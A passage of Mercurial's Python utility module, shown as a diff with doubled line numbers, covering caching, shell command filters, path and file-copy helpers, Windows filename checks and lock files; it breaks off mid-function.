1173 node.next = head.prev.next
1178 node.next = head.prev.next
1174 # E.next = N
1179 # E.next = N
1175 node.next.prev = node
1180 node.next.prev = node
1176 # A.prev = N
1181 # A.prev = N
1177 node.prev.next = node
1182 node.prev.next = node
1178
1183
1179 self._head = node
1184 self._head = node
1180
1185
1181 def _addcapacity(self):
1186 def _addcapacity(self):
1182 """Add a node to the circular linked list.
1187 """Add a node to the circular linked list.
1183
1188
1184 The new node is inserted before the head node.
1189 The new node is inserted before the head node.
1185 """
1190 """
1186 head = self._head
1191 head = self._head
1187 node = _lrucachenode()
1192 node = _lrucachenode()
1188 head.prev.next = node
1193 head.prev.next = node
1189 node.prev = head.prev
1194 node.prev = head.prev
1190 node.next = head
1195 node.next = head
1191 head.prev = node
1196 head.prev = node
1192 self._size += 1
1197 self._size += 1
1193 return node
1198 return node
1194
1199
1195 def lrucachefunc(func):
1200 def lrucachefunc(func):
1196 '''cache most recent results of function calls'''
1201 '''cache most recent results of function calls'''
1197 cache = {}
1202 cache = {}
1198 order = collections.deque()
1203 order = collections.deque()
1199 if func.__code__.co_argcount == 1:
1204 if func.__code__.co_argcount == 1:
1200 def f(arg):
1205 def f(arg):
1201 if arg not in cache:
1206 if arg not in cache:
1202 if len(cache) > 20:
1207 if len(cache) > 20:
1203 del cache[order.popleft()]
1208 del cache[order.popleft()]
1204 cache[arg] = func(arg)
1209 cache[arg] = func(arg)
1205 else:
1210 else:
1206 order.remove(arg)
1211 order.remove(arg)
1207 order.append(arg)
1212 order.append(arg)
1208 return cache[arg]
1213 return cache[arg]
1209 else:
1214 else:
1210 def f(*args):
1215 def f(*args):
1211 if args not in cache:
1216 if args not in cache:
1212 if len(cache) > 20:
1217 if len(cache) > 20:
1213 del cache[order.popleft()]
1218 del cache[order.popleft()]
1214 cache[args] = func(*args)
1219 cache[args] = func(*args)
1215 else:
1220 else:
1216 order.remove(args)
1221 order.remove(args)
1217 order.append(args)
1222 order.append(args)
1218 return cache[args]
1223 return cache[args]
1219
1224
1220 return f
1225 return f
1221
1226
1222 class propertycache(object):
1227 class propertycache(object):
1223 def __init__(self, func):
1228 def __init__(self, func):
1224 self.func = func
1229 self.func = func
1225 self.name = func.__name__
1230 self.name = func.__name__
1226 def __get__(self, obj, type=None):
1231 def __get__(self, obj, type=None):
1227 result = self.func(obj)
1232 result = self.func(obj)
1228 self.cachevalue(obj, result)
1233 self.cachevalue(obj, result)
1229 return result
1234 return result
1230
1235
1231 def cachevalue(self, obj, value):
1236 def cachevalue(self, obj, value):
1232 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1237 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1233 obj.__dict__[self.name] = value
1238 obj.__dict__[self.name] = value
1234
1239
1235 def clearcachedproperty(obj, prop):
1240 def clearcachedproperty(obj, prop):
1236 '''clear a cached property value, if one has been set'''
1241 '''clear a cached property value, if one has been set'''
1237 if prop in obj.__dict__:
1242 if prop in obj.__dict__:
1238 del obj.__dict__[prop]
1243 del obj.__dict__[prop]
1239
1244
1240 def pipefilter(s, cmd):
1245 def pipefilter(s, cmd):
1241 '''filter string S through command CMD, returning its output'''
1246 '''filter string S through command CMD, returning its output'''
1242 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1247 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1243 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1248 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1244 pout, perr = p.communicate(s)
1249 pout, perr = p.communicate(s)
1245 return pout
1250 return pout
1246
1251
1247 def tempfilter(s, cmd):
1252 def tempfilter(s, cmd):
1248 '''filter string S through a pair of temporary files with CMD.
1253 '''filter string S through a pair of temporary files with CMD.
1249 CMD is used as a template to create the real command to be run,
1254 CMD is used as a template to create the real command to be run,
1250 with the strings INFILE and OUTFILE replaced by the real names of
1255 with the strings INFILE and OUTFILE replaced by the real names of
1251 the temporary files generated.'''
1256 the temporary files generated.'''
1252 inname, outname = None, None
1257 inname, outname = None, None
1253 try:
1258 try:
1254 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1259 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1255 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1260 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1256 fp.write(s)
1261 fp.write(s)
1257 fp.close()
1262 fp.close()
1258 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1263 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1259 os.close(outfd)
1264 os.close(outfd)
1260 cmd = cmd.replace('INFILE', inname)
1265 cmd = cmd.replace('INFILE', inname)
1261 cmd = cmd.replace('OUTFILE', outname)
1266 cmd = cmd.replace('OUTFILE', outname)
1262 code = os.system(cmd)
1267 code = os.system(cmd)
1263 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1268 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1264 code = 0
1269 code = 0
1265 if code:
1270 if code:
1266 raise Abort(_("command '%s' failed: %s") %
1271 raise Abort(_("command '%s' failed: %s") %
1267 (cmd, explainexit(code)))
1272 (cmd, explainexit(code)))
1268 return readfile(outname)
1273 return readfile(outname)
1269 finally:
1274 finally:
1270 try:
1275 try:
1271 if inname:
1276 if inname:
1272 os.unlink(inname)
1277 os.unlink(inname)
1273 except OSError:
1278 except OSError:
1274 pass
1279 pass
1275 try:
1280 try:
1276 if outname:
1281 if outname:
1277 os.unlink(outname)
1282 os.unlink(outname)
1278 except OSError:
1283 except OSError:
1279 pass
1284 pass
1280
1285
1281 filtertable = {
1286 filtertable = {
1282 'tempfile:': tempfilter,
1287 'tempfile:': tempfilter,
1283 'pipe:': pipefilter,
1288 'pipe:': pipefilter,
1284 }
1289 }
1285
1290
1286 def filter(s, cmd):
1291 def filter(s, cmd):
1287 "filter a string through a command that transforms its input to its output"
1292 "filter a string through a command that transforms its input to its output"
1288 for name, fn in filtertable.iteritems():
1293 for name, fn in filtertable.iteritems():
1289 if cmd.startswith(name):
1294 if cmd.startswith(name):
1290 return fn(s, cmd[len(name):].lstrip())
1295 return fn(s, cmd[len(name):].lstrip())
1291 return pipefilter(s, cmd)
1296 return pipefilter(s, cmd)
1292
1297
1293 def binary(s):
1298 def binary(s):
1294 """return true if a string is binary data"""
1299 """return true if a string is binary data"""
1295 return bool(s and '\0' in s)
1300 return bool(s and '\0' in s)
1296
1301
1297 def increasingchunks(source, min=1024, max=65536):
1302 def increasingchunks(source, min=1024, max=65536):
1298 '''return no less than min bytes per chunk while data remains,
1303 '''return no less than min bytes per chunk while data remains,
1299 doubling min after each chunk until it reaches max'''
1304 doubling min after each chunk until it reaches max'''
1300 def log2(x):
1305 def log2(x):
1301 if not x:
1306 if not x:
1302 return 0
1307 return 0
1303 i = 0
1308 i = 0
1304 while x:
1309 while x:
1305 x >>= 1
1310 x >>= 1
1306 i += 1
1311 i += 1
1307 return i - 1
1312 return i - 1
1308
1313
1309 buf = []
1314 buf = []
1310 blen = 0
1315 blen = 0
1311 for chunk in source:
1316 for chunk in source:
1312 buf.append(chunk)
1317 buf.append(chunk)
1313 blen += len(chunk)
1318 blen += len(chunk)
1314 if blen >= min:
1319 if blen >= min:
1315 if min < max:
1320 if min < max:
1316 min = min << 1
1321 min = min << 1
1317 nmin = 1 << log2(blen)
1322 nmin = 1 << log2(blen)
1318 if nmin > min:
1323 if nmin > min:
1319 min = nmin
1324 min = nmin
1320 if min > max:
1325 if min > max:
1321 min = max
1326 min = max
1322 yield ''.join(buf)
1327 yield ''.join(buf)
1323 blen = 0
1328 blen = 0
1324 buf = []
1329 buf = []
1325 if buf:
1330 if buf:
1326 yield ''.join(buf)
1331 yield ''.join(buf)
1327
1332
1328 Abort = error.Abort
1333 Abort = error.Abort
1329
1334
1330 def always(fn):
1335 def always(fn):
1331 return True
1336 return True
1332
1337
1333 def never(fn):
1338 def never(fn):
1334 return False
1339 return False
1335
1340
1336 def nogc(func):
1341 def nogc(func):
1337 """disable garbage collector
1342 """disable garbage collector
1338
1343
1339 Python's garbage collector triggers a GC each time a certain number of
1344 Python's garbage collector triggers a GC each time a certain number of
1340 container objects (the number being defined by gc.get_threshold()) are
1345 container objects (the number being defined by gc.get_threshold()) are
1341 allocated even when marked not to be tracked by the collector. Tracking has
1346 allocated even when marked not to be tracked by the collector. Tracking has
1342 no effect on when GCs are triggered, only on what objects the GC looks
1347 no effect on when GCs are triggered, only on what objects the GC looks
1343 into. As a workaround, disable GC while building complex (huge)
1348 into. As a workaround, disable GC while building complex (huge)
1344 containers.
1349 containers.
1345
1350
1346 This garbage collector issue have been fixed in 2.7. But it still affect
1351 This garbage collector issue have been fixed in 2.7. But it still affect
1347 CPython's performance.
1352 CPython's performance.
1348 """
1353 """
1349 def wrapper(*args, **kwargs):
1354 def wrapper(*args, **kwargs):
1350 gcenabled = gc.isenabled()
1355 gcenabled = gc.isenabled()
1351 gc.disable()
1356 gc.disable()
1352 try:
1357 try:
1353 return func(*args, **kwargs)
1358 return func(*args, **kwargs)
1354 finally:
1359 finally:
1355 if gcenabled:
1360 if gcenabled:
1356 gc.enable()
1361 gc.enable()
1357 return wrapper
1362 return wrapper
1358
1363
1359 if pycompat.ispypy:
1364 if pycompat.ispypy:
1360 # PyPy runs slower with gc disabled
1365 # PyPy runs slower with gc disabled
1361 nogc = lambda x: x
1366 nogc = lambda x: x
1362
1367
1363 def pathto(root, n1, n2):
1368 def pathto(root, n1, n2):
1364 '''return the relative path from one place to another.
1369 '''return the relative path from one place to another.
1365 root should use os.sep to separate directories
1370 root should use os.sep to separate directories
1366 n1 should use os.sep to separate directories
1371 n1 should use os.sep to separate directories
1367 n2 should use "/" to separate directories
1372 n2 should use "/" to separate directories
1368 returns an os.sep-separated path.
1373 returns an os.sep-separated path.
1369
1374
1370 If n1 is a relative path, it's assumed it's
1375 If n1 is a relative path, it's assumed it's
1371 relative to root.
1376 relative to root.
1372 n2 should always be relative to root.
1377 n2 should always be relative to root.
1373 '''
1378 '''
1374 if not n1:
1379 if not n1:
1375 return localpath(n2)
1380 return localpath(n2)
1376 if os.path.isabs(n1):
1381 if os.path.isabs(n1):
1377 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1382 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1378 return os.path.join(root, localpath(n2))
1383 return os.path.join(root, localpath(n2))
1379 n2 = '/'.join((pconvert(root), n2))
1384 n2 = '/'.join((pconvert(root), n2))
1380 a, b = splitpath(n1), n2.split('/')
1385 a, b = splitpath(n1), n2.split('/')
1381 a.reverse()
1386 a.reverse()
1382 b.reverse()
1387 b.reverse()
1383 while a and b and a[-1] == b[-1]:
1388 while a and b and a[-1] == b[-1]:
1384 a.pop()
1389 a.pop()
1385 b.pop()
1390 b.pop()
1386 b.reverse()
1391 b.reverse()
1387 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1392 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1388
1393
1389 def mainfrozen():
1394 def mainfrozen():
1390 """return True if we are a frozen executable.
1395 """return True if we are a frozen executable.
1391
1396
1392 The code supports py2exe (most common, Windows only) and tools/freeze
1397 The code supports py2exe (most common, Windows only) and tools/freeze
1393 (portable, not much used).
1398 (portable, not much used).
1394 """
1399 """
1395 return (safehasattr(sys, "frozen") or # new py2exe
1400 return (safehasattr(sys, "frozen") or # new py2exe
1396 safehasattr(sys, "importers") or # old py2exe
1401 safehasattr(sys, "importers") or # old py2exe
1397 imp.is_frozen(u"__main__")) # tools/freeze
1402 imp.is_frozen(u"__main__")) # tools/freeze
1398
1403
1399 # the location of data files matching the source code
1404 # the location of data files matching the source code
1400 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1405 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1401 # executable version (py2exe) doesn't support __file__
1406 # executable version (py2exe) doesn't support __file__
1402 datapath = os.path.dirname(pycompat.sysexecutable)
1407 datapath = os.path.dirname(pycompat.sysexecutable)
1403 else:
1408 else:
1404 datapath = os.path.dirname(pycompat.fsencode(__file__))
1409 datapath = os.path.dirname(pycompat.fsencode(__file__))
1405
1410
1406 i18n.setdatapath(datapath)
1411 i18n.setdatapath(datapath)
1407
1412
1408 _hgexecutable = None
1413 _hgexecutable = None
1409
1414
1410 def hgexecutable():
1415 def hgexecutable():
1411 """return location of the 'hg' executable.
1416 """return location of the 'hg' executable.
1412
1417
1413 Defaults to $HG or 'hg' in the search path.
1418 Defaults to $HG or 'hg' in the search path.
1414 """
1419 """
1415 if _hgexecutable is None:
1420 if _hgexecutable is None:
1416 hg = encoding.environ.get('HG')
1421 hg = encoding.environ.get('HG')
1417 mainmod = sys.modules[pycompat.sysstr('__main__')]
1422 mainmod = sys.modules[pycompat.sysstr('__main__')]
1418 if hg:
1423 if hg:
1419 _sethgexecutable(hg)
1424 _sethgexecutable(hg)
1420 elif mainfrozen():
1425 elif mainfrozen():
1421 if getattr(sys, 'frozen', None) == 'macosx_app':
1426 if getattr(sys, 'frozen', None) == 'macosx_app':
1422 # Env variable set by py2app
1427 # Env variable set by py2app
1423 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1428 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1424 else:
1429 else:
1425 _sethgexecutable(pycompat.sysexecutable)
1430 _sethgexecutable(pycompat.sysexecutable)
1426 elif (os.path.basename(
1431 elif (os.path.basename(
1427 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1432 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1428 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1433 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1429 else:
1434 else:
1430 exe = findexe('hg') or os.path.basename(sys.argv[0])
1435 exe = findexe('hg') or os.path.basename(sys.argv[0])
1431 _sethgexecutable(exe)
1436 _sethgexecutable(exe)
1432 return _hgexecutable
1437 return _hgexecutable
1433
1438
1434 def _sethgexecutable(path):
1439 def _sethgexecutable(path):
1435 """set location of the 'hg' executable"""
1440 """set location of the 'hg' executable"""
1436 global _hgexecutable
1441 global _hgexecutable
1437 _hgexecutable = path
1442 _hgexecutable = path
1438
1443
1439 def _isstdout(f):
1444 def _isstdout(f):
1440 fileno = getattr(f, 'fileno', None)
1445 fileno = getattr(f, 'fileno', None)
1441 try:
1446 try:
1442 return fileno and fileno() == sys.__stdout__.fileno()
1447 return fileno and fileno() == sys.__stdout__.fileno()
1443 except io.UnsupportedOperation:
1448 except io.UnsupportedOperation:
1444 return False # fileno() raised UnsupportedOperation
1449 return False # fileno() raised UnsupportedOperation
1445
1450
1446 def shellenviron(environ=None):
1451 def shellenviron(environ=None):
1447 """return environ with optional override, useful for shelling out"""
1452 """return environ with optional override, useful for shelling out"""
1448 def py2shell(val):
1453 def py2shell(val):
1449 'convert python object into string that is useful to shell'
1454 'convert python object into string that is useful to shell'
1450 if val is None or val is False:
1455 if val is None or val is False:
1451 return '0'
1456 return '0'
1452 if val is True:
1457 if val is True:
1453 return '1'
1458 return '1'
1454 return pycompat.bytestr(val)
1459 return pycompat.bytestr(val)
1455 env = dict(encoding.environ)
1460 env = dict(encoding.environ)
1456 if environ:
1461 if environ:
1457 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1462 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1458 env['HG'] = hgexecutable()
1463 env['HG'] = hgexecutable()
1459 return env
1464 return env
1460
1465
1461 def system(cmd, environ=None, cwd=None, out=None):
1466 def system(cmd, environ=None, cwd=None, out=None):
1462 '''enhanced shell command execution.
1467 '''enhanced shell command execution.
1463 run with environment maybe modified, maybe in different dir.
1468 run with environment maybe modified, maybe in different dir.
1464
1469
1465 if out is specified, it is assumed to be a file-like object that has a
1470 if out is specified, it is assumed to be a file-like object that has a
1466 write() method. stdout and stderr will be redirected to out.'''
1471 write() method. stdout and stderr will be redirected to out.'''
1467 try:
1472 try:
1468 stdout.flush()
1473 stdout.flush()
1469 except Exception:
1474 except Exception:
1470 pass
1475 pass
1471 cmd = quotecommand(cmd)
1476 cmd = quotecommand(cmd)
1472 env = shellenviron(environ)
1477 env = shellenviron(environ)
1473 if out is None or _isstdout(out):
1478 if out is None or _isstdout(out):
1474 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1479 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1475 env=env, cwd=cwd)
1480 env=env, cwd=cwd)
1476 else:
1481 else:
1477 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1482 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1478 env=env, cwd=cwd, stdout=subprocess.PIPE,
1483 env=env, cwd=cwd, stdout=subprocess.PIPE,
1479 stderr=subprocess.STDOUT)
1484 stderr=subprocess.STDOUT)
1480 for line in iter(proc.stdout.readline, ''):
1485 for line in iter(proc.stdout.readline, ''):
1481 out.write(line)
1486 out.write(line)
1482 proc.wait()
1487 proc.wait()
1483 rc = proc.returncode
1488 rc = proc.returncode
1484 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1489 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1485 rc = 0
1490 rc = 0
1486 return rc
1491 return rc
1487
1492
1488 def checksignature(func):
1493 def checksignature(func):
1489 '''wrap a function with code to check for calling errors'''
1494 '''wrap a function with code to check for calling errors'''
1490 def check(*args, **kwargs):
1495 def check(*args, **kwargs):
1491 try:
1496 try:
1492 return func(*args, **kwargs)
1497 return func(*args, **kwargs)
1493 except TypeError:
1498 except TypeError:
1494 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1499 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1495 raise error.SignatureError
1500 raise error.SignatureError
1496 raise
1501 raise
1497
1502
1498 return check
1503 return check
1499
1504
1500 # a whilelist of known filesystems where hardlink works reliably
1505 # a whilelist of known filesystems where hardlink works reliably
1501 _hardlinkfswhitelist = {
1506 _hardlinkfswhitelist = {
1502 'btrfs',
1507 'btrfs',
1503 'ext2',
1508 'ext2',
1504 'ext3',
1509 'ext3',
1505 'ext4',
1510 'ext4',
1506 'hfs',
1511 'hfs',
1507 'jfs',
1512 'jfs',
1508 'NTFS',
1513 'NTFS',
1509 'reiserfs',
1514 'reiserfs',
1510 'tmpfs',
1515 'tmpfs',
1511 'ufs',
1516 'ufs',
1512 'xfs',
1517 'xfs',
1513 'zfs',
1518 'zfs',
1514 }
1519 }
1515
1520
1516 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1521 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1517 '''copy a file, preserving mode and optionally other stat info like
1522 '''copy a file, preserving mode and optionally other stat info like
1518 atime/mtime
1523 atime/mtime
1519
1524
1520 checkambig argument is used with filestat, and is useful only if
1525 checkambig argument is used with filestat, and is useful only if
1521 destination file is guarded by any lock (e.g. repo.lock or
1526 destination file is guarded by any lock (e.g. repo.lock or
1522 repo.wlock).
1527 repo.wlock).
1523
1528
1524 copystat and checkambig should be exclusive.
1529 copystat and checkambig should be exclusive.
1525 '''
1530 '''
1526 assert not (copystat and checkambig)
1531 assert not (copystat and checkambig)
1527 oldstat = None
1532 oldstat = None
1528 if os.path.lexists(dest):
1533 if os.path.lexists(dest):
1529 if checkambig:
1534 if checkambig:
1530 oldstat = checkambig and filestat.frompath(dest)
1535 oldstat = checkambig and filestat.frompath(dest)
1531 unlink(dest)
1536 unlink(dest)
1532 if hardlink:
1537 if hardlink:
1533 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1538 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1534 # unless we are confident that dest is on a whitelisted filesystem.
1539 # unless we are confident that dest is on a whitelisted filesystem.
1535 try:
1540 try:
1536 fstype = getfstype(os.path.dirname(dest))
1541 fstype = getfstype(os.path.dirname(dest))
1537 except OSError:
1542 except OSError:
1538 fstype = None
1543 fstype = None
1539 if fstype not in _hardlinkfswhitelist:
1544 if fstype not in _hardlinkfswhitelist:
1540 hardlink = False
1545 hardlink = False
1541 if hardlink:
1546 if hardlink:
1542 try:
1547 try:
1543 oslink(src, dest)
1548 oslink(src, dest)
1544 return
1549 return
1545 except (IOError, OSError):
1550 except (IOError, OSError):
1546 pass # fall back to normal copy
1551 pass # fall back to normal copy
1547 if os.path.islink(src):
1552 if os.path.islink(src):
1548 os.symlink(os.readlink(src), dest)
1553 os.symlink(os.readlink(src), dest)
1549 # copytime is ignored for symlinks, but in general copytime isn't needed
1554 # copytime is ignored for symlinks, but in general copytime isn't needed
1550 # for them anyway
1555 # for them anyway
1551 else:
1556 else:
1552 try:
1557 try:
1553 shutil.copyfile(src, dest)
1558 shutil.copyfile(src, dest)
1554 if copystat:
1559 if copystat:
1555 # copystat also copies mode
1560 # copystat also copies mode
1556 shutil.copystat(src, dest)
1561 shutil.copystat(src, dest)
1557 else:
1562 else:
1558 shutil.copymode(src, dest)
1563 shutil.copymode(src, dest)
1559 if oldstat and oldstat.stat:
1564 if oldstat and oldstat.stat:
1560 newstat = filestat.frompath(dest)
1565 newstat = filestat.frompath(dest)
1561 if newstat.isambig(oldstat):
1566 if newstat.isambig(oldstat):
1562 # stat of copied file is ambiguous to original one
1567 # stat of copied file is ambiguous to original one
1563 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1568 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1564 os.utime(dest, (advanced, advanced))
1569 os.utime(dest, (advanced, advanced))
1565 except shutil.Error as inst:
1570 except shutil.Error as inst:
1566 raise Abort(str(inst))
1571 raise Abort(str(inst))
1567
1572
1568 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1573 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1569 """Copy a directory tree using hardlinks if possible."""
1574 """Copy a directory tree using hardlinks if possible."""
1570 num = 0
1575 num = 0
1571
1576
1572 gettopic = lambda: hardlink and _('linking') or _('copying')
1577 gettopic = lambda: hardlink and _('linking') or _('copying')
1573
1578
1574 if os.path.isdir(src):
1579 if os.path.isdir(src):
1575 if hardlink is None:
1580 if hardlink is None:
1576 hardlink = (os.stat(src).st_dev ==
1581 hardlink = (os.stat(src).st_dev ==
1577 os.stat(os.path.dirname(dst)).st_dev)
1582 os.stat(os.path.dirname(dst)).st_dev)
1578 topic = gettopic()
1583 topic = gettopic()
1579 os.mkdir(dst)
1584 os.mkdir(dst)
1580 for name, kind in listdir(src):
1585 for name, kind in listdir(src):
1581 srcname = os.path.join(src, name)
1586 srcname = os.path.join(src, name)
1582 dstname = os.path.join(dst, name)
1587 dstname = os.path.join(dst, name)
1583 def nprog(t, pos):
1588 def nprog(t, pos):
1584 if pos is not None:
1589 if pos is not None:
1585 return progress(t, pos + num)
1590 return progress(t, pos + num)
1586 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1591 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1587 num += n
1592 num += n
1588 else:
1593 else:
1589 if hardlink is None:
1594 if hardlink is None:
1590 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1595 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1591 os.stat(os.path.dirname(dst)).st_dev)
1596 os.stat(os.path.dirname(dst)).st_dev)
1592 topic = gettopic()
1597 topic = gettopic()
1593
1598
1594 if hardlink:
1599 if hardlink:
1595 try:
1600 try:
1596 oslink(src, dst)
1601 oslink(src, dst)
1597 except (IOError, OSError):
1602 except (IOError, OSError):
1598 hardlink = False
1603 hardlink = False
1599 shutil.copy(src, dst)
1604 shutil.copy(src, dst)
1600 else:
1605 else:
1601 shutil.copy(src, dst)
1606 shutil.copy(src, dst)
1602 num += 1
1607 num += 1
1603 progress(topic, num)
1608 progress(topic, num)
1604 progress(topic, None)
1609 progress(topic, None)
1605
1610
1606 return hardlink, num
1611 return hardlink, num
1607
1612
1608 _winreservednames = {
1613 _winreservednames = {
1609 'con', 'prn', 'aux', 'nul',
1614 'con', 'prn', 'aux', 'nul',
1610 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1615 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1611 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1616 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1612 }
1617 }
1613 _winreservedchars = ':*?"<>|'
1618 _winreservedchars = ':*?"<>|'
1614 def checkwinfilename(path):
1619 def checkwinfilename(path):
1615 r'''Check that the base-relative path is a valid filename on Windows.
1620 r'''Check that the base-relative path is a valid filename on Windows.
1616 Returns None if the path is ok, or a UI string describing the problem.
1621 Returns None if the path is ok, or a UI string describing the problem.
1617
1622
1618 >>> checkwinfilename(b"just/a/normal/path")
1623 >>> checkwinfilename(b"just/a/normal/path")
1619 >>> checkwinfilename(b"foo/bar/con.xml")
1624 >>> checkwinfilename(b"foo/bar/con.xml")
1620 "filename contains 'con', which is reserved on Windows"
1625 "filename contains 'con', which is reserved on Windows"
1621 >>> checkwinfilename(b"foo/con.xml/bar")
1626 >>> checkwinfilename(b"foo/con.xml/bar")
1622 "filename contains 'con', which is reserved on Windows"
1627 "filename contains 'con', which is reserved on Windows"
1623 >>> checkwinfilename(b"foo/bar/xml.con")
1628 >>> checkwinfilename(b"foo/bar/xml.con")
1624 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1629 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1625 "filename contains 'AUX', which is reserved on Windows"
1630 "filename contains 'AUX', which is reserved on Windows"
1626 >>> checkwinfilename(b"foo/bar/bla:.txt")
1631 >>> checkwinfilename(b"foo/bar/bla:.txt")
1627 "filename contains ':', which is reserved on Windows"
1632 "filename contains ':', which is reserved on Windows"
1628 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1633 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1629 "filename contains '\\x07', which is invalid on Windows"
1634 "filename contains '\\x07', which is invalid on Windows"
1630 >>> checkwinfilename(b"foo/bar/bla ")
1635 >>> checkwinfilename(b"foo/bar/bla ")
1631 "filename ends with ' ', which is not allowed on Windows"
1636 "filename ends with ' ', which is not allowed on Windows"
1632 >>> checkwinfilename(b"../bar")
1637 >>> checkwinfilename(b"../bar")
1633 >>> checkwinfilename(b"foo\\")
1638 >>> checkwinfilename(b"foo\\")
1634 "filename ends with '\\', which is invalid on Windows"
1639 "filename ends with '\\', which is invalid on Windows"
1635 >>> checkwinfilename(b"foo\\/bar")
1640 >>> checkwinfilename(b"foo\\/bar")
1636 "directory name ends with '\\', which is invalid on Windows"
1641 "directory name ends with '\\', which is invalid on Windows"
1637 '''
1642 '''
1638 if path.endswith('\\'):
1643 if path.endswith('\\'):
1639 return _("filename ends with '\\', which is invalid on Windows")
1644 return _("filename ends with '\\', which is invalid on Windows")
1640 if '\\/' in path:
1645 if '\\/' in path:
1641 return _("directory name ends with '\\', which is invalid on Windows")
1646 return _("directory name ends with '\\', which is invalid on Windows")
1642 for n in path.replace('\\', '/').split('/'):
1647 for n in path.replace('\\', '/').split('/'):
1643 if not n:
1648 if not n:
1644 continue
1649 continue
1645 for c in _filenamebytestr(n):
1650 for c in _filenamebytestr(n):
1646 if c in _winreservedchars:
1651 if c in _winreservedchars:
1647 return _("filename contains '%s', which is reserved "
1652 return _("filename contains '%s', which is reserved "
1648 "on Windows") % c
1653 "on Windows") % c
1649 if ord(c) <= 31:
1654 if ord(c) <= 31:
1650 return _("filename contains '%s', which is invalid "
1655 return _("filename contains '%s', which is invalid "
1651 "on Windows") % escapestr(c)
1656 "on Windows") % escapestr(c)
1652 base = n.split('.')[0]
1657 base = n.split('.')[0]
1653 if base and base.lower() in _winreservednames:
1658 if base and base.lower() in _winreservednames:
1654 return _("filename contains '%s', which is reserved "
1659 return _("filename contains '%s', which is reserved "
1655 "on Windows") % base
1660 "on Windows") % base
1656 t = n[-1:]
1661 t = n[-1:]
1657 if t in '. ' and n not in '..':
1662 if t in '. ' and n not in '..':
1658 return _("filename ends with '%s', which is not allowed "
1663 return _("filename ends with '%s', which is not allowed "
1659 "on Windows") % t
1664 "on Windows") % t
1660
1665
1661 if pycompat.iswindows:
1666 if pycompat.iswindows:
1662 checkosfilename = checkwinfilename
1667 checkosfilename = checkwinfilename
1663 timer = time.clock
1668 timer = time.clock
1664 else:
1669 else:
1665 checkosfilename = platform.checkosfilename
1670 checkosfilename = platform.checkosfilename
1666 timer = time.time
1671 timer = time.time
1667
1672
1668 if safehasattr(time, "perf_counter"):
1673 if safehasattr(time, "perf_counter"):
1669 timer = time.perf_counter
1674 timer = time.perf_counter
1670
1675
1671 def makelock(info, pathname):
1676 def makelock(info, pathname):
1672 try:
1677 try:
1673 return os.symlink(info, pathname)
1678 return os.symlink(info, pathname)
1674 except OSError as why:
1679 except OSError as why:
1675 if why.errno == errno.EEXIST:
1680 if why.errno == errno.EEXIST:
1676 raise
1681 raise
1677 except AttributeError: # no symlink in os
1682 except AttributeError: # no symlink in os
1678 pass
1683 pass
1679
1684
1680 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1685 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1681 os.write(ld, info)
1686 os.write(ld, info)
1682 os.close(ld)
1687 os.close(ld)
1683
1688
1684 def readlock(pathname):
1689 def readlock(pathname):
1685 try:
1690 try:
1686 return os.readlink(pathname)
1691 return os.readlink(pathname)
1687 except OSError as why:
1692 except OSError as why:
